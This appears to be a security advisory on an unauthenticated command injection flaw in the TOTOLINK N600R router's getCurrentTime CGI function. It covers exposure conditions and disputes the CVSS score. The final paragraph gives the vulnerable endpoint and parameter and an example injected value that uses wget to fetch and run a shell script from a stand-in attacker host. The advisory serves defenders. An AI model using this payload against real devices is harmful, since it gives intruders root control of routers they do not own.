TOTOLINK N600R CVE-2026-79912

Exploitation requires network-level access to the TOTOLINK N600R's HTTP/HTTPS web management interface and the ability to send a POST or GET request to /cgi-bin/cstecgi.cgi invoking the getCurrentTime function with a crafted ntp_server value containing shell metacharacters. The CVSS 4.0 vector (PR:N, UI:N) confirms no authentication is required and no victim interaction is needed. The primary limiting factor is network reachability: devices behind NAT without port forwarding of the management interface are not directly exploitable from the public internet but remain vulnerable to any attacker with LAN access or who has already compromised an internal host. Default configurations of SOHO routers often leave management interfaces accessible only on the LAN side, which would restrict the realistic attack population to local network adversaries; however, routers with remote management enabled or directly bridged to a public IP are fully exposed.

The CVSS 4.0 base vector scores this at 6.9 (Medium) with all vulnerable-system impact metrics at Low (VC:L/VI:L/VA:L), a rating that is inconsistent with the confirmed popen-based command injection technique, which on embedded router CGI handlers - where root-level execution is standard - would realistically yield full system compromise. This discrepancy is a key conflict in the available data: defenders should not rely on the 6.9 score as an accurate ceiling for impact and should treat C/I/A impact as High until the vendor clarifies the execution privilege context. The PR:N and UI:N designations in the CVSS 4.0 vector confirm the vulnerability is exploitable remotely without authentication or user interaction, and E:P (Proof of Concept) confirms working exploit code is public, sharply reducing attacker skill requirements. No CISA KEV listing is present, so active exploitation in campaigns has not been confirmed, but the public PoC materially raises the real-world risk for any internet-exposed deployment. EPSS data was not included in the provided intelligence, limiting probabilistic exploitation forecasting.

An unauthenticated remote attacker sends an HTTP request to /cgi-bin/cstecgi.cgi targeting the getCurrentTime function, with the ntp_server parameter set to a value containing shell metacharacters such as ; wget http://attacker.example/shell.sh -O /tmp/s; sh /tmp/s;. The CGI process passes this value unsanitized to popen(), executing the injected shell commands with the privileges of the CGI handler - likely root on this device class. A public PoC documenting this exact technique is available on GitHub, making the attack immediately reproducible by low-skill adversaries.